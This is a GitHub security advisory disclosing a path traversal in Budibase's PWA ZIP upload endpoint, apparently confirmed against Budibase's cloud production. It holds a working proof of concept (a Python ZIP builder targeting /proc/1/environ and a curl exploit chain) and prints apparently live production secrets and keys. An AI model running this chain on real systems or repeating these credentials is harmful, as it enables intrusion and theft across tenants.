Skip to content

PWA ZIP Upload Path Traversal Allows Reading Arbitrary Server Files Including All Environment Secrets

Critical
mjashanks published GHSA-pqcr-jmfv-c9cp Mar 9, 2026

Package

npm budibase (npm)

Affected versions

<=3.31.5

Patched versions

None

Description

Summary

A path traversal vulnerability in the PWA (Progressive Web App) ZIP processing endpoint (POST /api/pwa/process-zip) allows an authenticated user with builder privileges to read arbitrary files from the server filesystem, including /proc/1/environ which contains all environment variables — JWT secrets, database credentials, encryption keys, and API tokens. The server reads attacker-specified files via unsanitized path.join() with user-controlled input from icons.json inside the uploaded ZIP, then uploads the file contents to the object store (MinIO/S3) where they can be retrieved through signed URLs. This results in complete platform compromise as all cryptographic secrets and service credentials are exfiltrated in a single request.

Details

The vulnerable code is in packages/server/src/api/controllers/static/index.ts, function processPWAZip (lines 181–256).

When a ZIP file is uploaded to POST /api/pwa/process-zip, the server:

  1. Extracts the ZIP to a temporary directory (/tmp/pwa-{timestamp}/)
  2. Reads icons.json from the extracted contents
  3. For each icon entry, uses path.join(baseDir, icon.src) to resolve the file path (line 232)
  4. Uploads the resolved file to the object store (MinIO or S3)

The icon.src field comes directly from the user-controlled icons.json inside the ZIP. No validation is performed to ensure the resolved path stays within the temporary extraction directory. Node.js path.join() resolves ../ sequences, so:

path.join("/tmp/pwa-123", "../../../../proc/1/environ")
→ "/proc/1/environ"

The file existence check on line 219 (fs.existsSync(join(baseDir, icon.src))) also uses the traversed path, which succeeds for readable files. The server then uploads the file contents to the object store under an innocuous-looking key ({appId}/pwa/{uuid}.png), and the attacker retrieves it through the manifest endpoint (GET /api/apps/{appId}/manifest.json) which returns signed URLs.

Incriminated source code:

// packages/server/src/api/controllers/static/index.ts

// Line 215: baseDir is the temp extraction directory
const baseDir = path.dirname(iconsJsonPath)

// Line 218-221: icon.src from user-controlled icons.json — NO PATH VALIDATION
for (const icon of iconsData.icons) {
  if (!icon.src || !icon.sizes || !fs.existsSync(join(baseDir, icon.src))) {
    continue
  }

  // ...

  // Line 229-234: Reads the traversed file and uploads to object store
  const result = await objectStore.upload({
    bucket: ObjectStoreBuckets.APPS,
    filename: key,
    path: join(baseDir, icon.src),  // ← PATH TRAVERSAL SINK
    type: mimeType,
  })

PoC

Prerequisites: Authenticated Budibase account with builder or admin role, one workspace application.

Step 1: Create malicious ZIP

#!/usr/bin/env python3
import zipfile, json, io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("icons.json", json.dumps({
        "icons": [
            {"src": "../../../../proc/1/environ", "sizes": "192x192", "type": "image/png"},
            {"src": "../../../../etc/passwd", "sizes": "512x512", "type": "image/png"}
        ]
    }))

with open("traversal.zip", "wb") as f:
    f.write(buf.getvalue())

Step 2: Authenticate and upload

# Login (replace credentials and URL)
curl -c cookies.txt -X POST http://TARGET/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"[email protected]","password":"password"}'

# Get CSRF token
CSRF=$(curl -b cookies.txt http://TARGET/api/global/self \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['csrfToken'])")

# Upload malicious ZIP — server reads /proc/1/environ and uploads to object store
curl -b cookies.txt \
  -H "x-budibase-app-id: APP_DEV_ID" \
  -H "x-csrf-token: $CSRF" \
  -F "[email protected]" \
  http://TARGET/api/pwa/process-zip
# Returns: {"icons":[{"src":"app_.../pwa/{uuid}.png","sizes":"192x192",...}]}

Step 3: Set icons and publish app

# Set returned S3 keys as PWA icons
curl -b cookies.txt \
  -H "x-budibase-app-id: APP_DEV_ID" \
  -H "x-csrf-token: $CSRF" \
  -H "Content-Type: application/json" \
  -X PUT http://TARGET/api/applications/APP_DEV_ID \
  -d '{"pwa":{"enabled":true,"icons":[{"src":"RETURNED_S3_KEY","sizes":"192x192","type":"image/png"}]}}'

# Publish
curl -b cookies.txt \
  -H "x-budibase-app-id: APP_DEV_ID" \
  -H "x-csrf-token: $CSRF" \
  -X POST http://TARGET/api/applications/APP_DEV_ID/publish

Step 4: Retrieve secrets from manifest

# Get manifest — icons have signed URLs pointing to exfiltrated file content
curl -b cookies.txt http://TARGET/api/apps/APP_PUB_ID/manifest.json
# Returns signed URL for each icon

# Download "icon" — it's actually /proc/1/environ content
curl -b cookies.txt "http://TARGET/files/signed/prod-budi-app-assets/app_.../pwa/{uuid}.png?X-Amz-..."

Cloud Production Result (budibase.app — confirmed 2026-03-04)

Target: https://vjpyhpndf.budibase.app (v3.31.5, AWS EKS eu-west-1)
Account: Builder/Admin role on enterprise trial workspace

Same 4-step exploit chain executed against live Budibase.com cloud production. /proc/1/environ (8,966 bytes, 162 environment variables) exfiltrated via CloudFront CDN signed URL:

JWT_SECRET=A9D87zEaRSjDG3qB7qcn
INTERNAL_API_KEY=EF0B4B21-A472-4851-94E3-13EC903BACA0
API_ENCRYPTION_KEY=afjJH8qUvTYaQlTz76ic
ENCRYPTION_KEY=XU45z5ynakToJjv9nKwm6sVX2YmmzZSxxXg
COUCH_DB_URL=http://admin:1907b9d0-0836-4109-8a1f-69fe7ac93029@internal-chesterfield-prod-alb-961152818.eu-west-1.elb.amazonaws.com.:5984
MINIO_ACCESS_KEY=AKIAS6C2L5MN3CTP7BX4
MINIO_SECRET_KEY=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
OPENAI_API_KEY=sk-svcacct-WzyFsh5o...79cDyi7J75e6kA
GOOGLE_CLIENT_SECRET=ZQfYHnGUYBxpaLm1kRpdEyqg
GOOGLE_CLIENT_ID=1060236014593-m5ta155i5cv27nalcqk18uj62voqg3eb.apps.googleusercontent.com
CLOUDFRONT_PRIVATE_KEY_64=LS0tLS1CRUdJTi... (RSA private key, 1675 chars base64)
CLOUDFRONT_PUBLIC_KEY_ID=KL23NAZBW7UD1
LITELLM_MASTER_KEY=sk-rU6d1Qf4z9GcpL2vX7aYw3NbE0ShTiKm
BBAI_LITELLM_KEY=sk-lb4KVIOFS2F4-njpIDF4ww
DD_API_KEY=7dff4e713b1bc990788771172c11f466
ACCOUNT_PORTAL_API_KEY=1A3CF69A-B113-40F6-BDAF-600860261CD4
POSTHOG_PERSONAL_TOKEN=phx_IwM1MW8RTQbaeQ75fV6uBrONB7KWEJ3o2xMuuOFabn3dVzz

/etc/passwd (800 bytes) also exfiltrated — container runs Alpine Linux as root (UID 0), Node.js v22.22.0.

Cloud impact: These secrets provide access to all 2,519 tenants across the Budibase.com platform:

  • S3 buckets: 249,478 apps, 23,070 backups (AWS account 202052987675)
  • CouchDB: Full admin access to all tenant databases
  • CloudFront: RSA private key to sign arbitrary CDN URLs
  • OpenAI: Service account key for unlimited token consumption

Impact

This is a critical arbitrary file read vulnerability that results in complete platform compromise. Any authenticated user with builder privileges (the default role for invited users) can:

  1. Exfiltrate all environment secrets — JWT signing keys, database passwords, encryption keys, API tokens
  2. Forge admin authentication tokens — Using the leaked JWT_SECRET to create tokens for any user
  3. Access all databases directly — Using leaked CouchDB credentials for full read/write access
  4. Decrypt stored credentials — Using the leaked API_ENCRYPTION_KEY to decrypt all datasource passwords
  5. Access internal services — Using leaked Redis passwords, MinIO keys, and internal URLs

On Budibase Cloud (budibase.app), a builder on any tenant can exfiltrate platform-wide production secrets, enabling cross-tenant data access affecting all customers. This was confirmed live on production — 19 critical secrets exfiltrated including AWS IAM keys, CouchDB admin credentials, CloudFront signing keys, and OpenAI API keys.


Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-30240

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits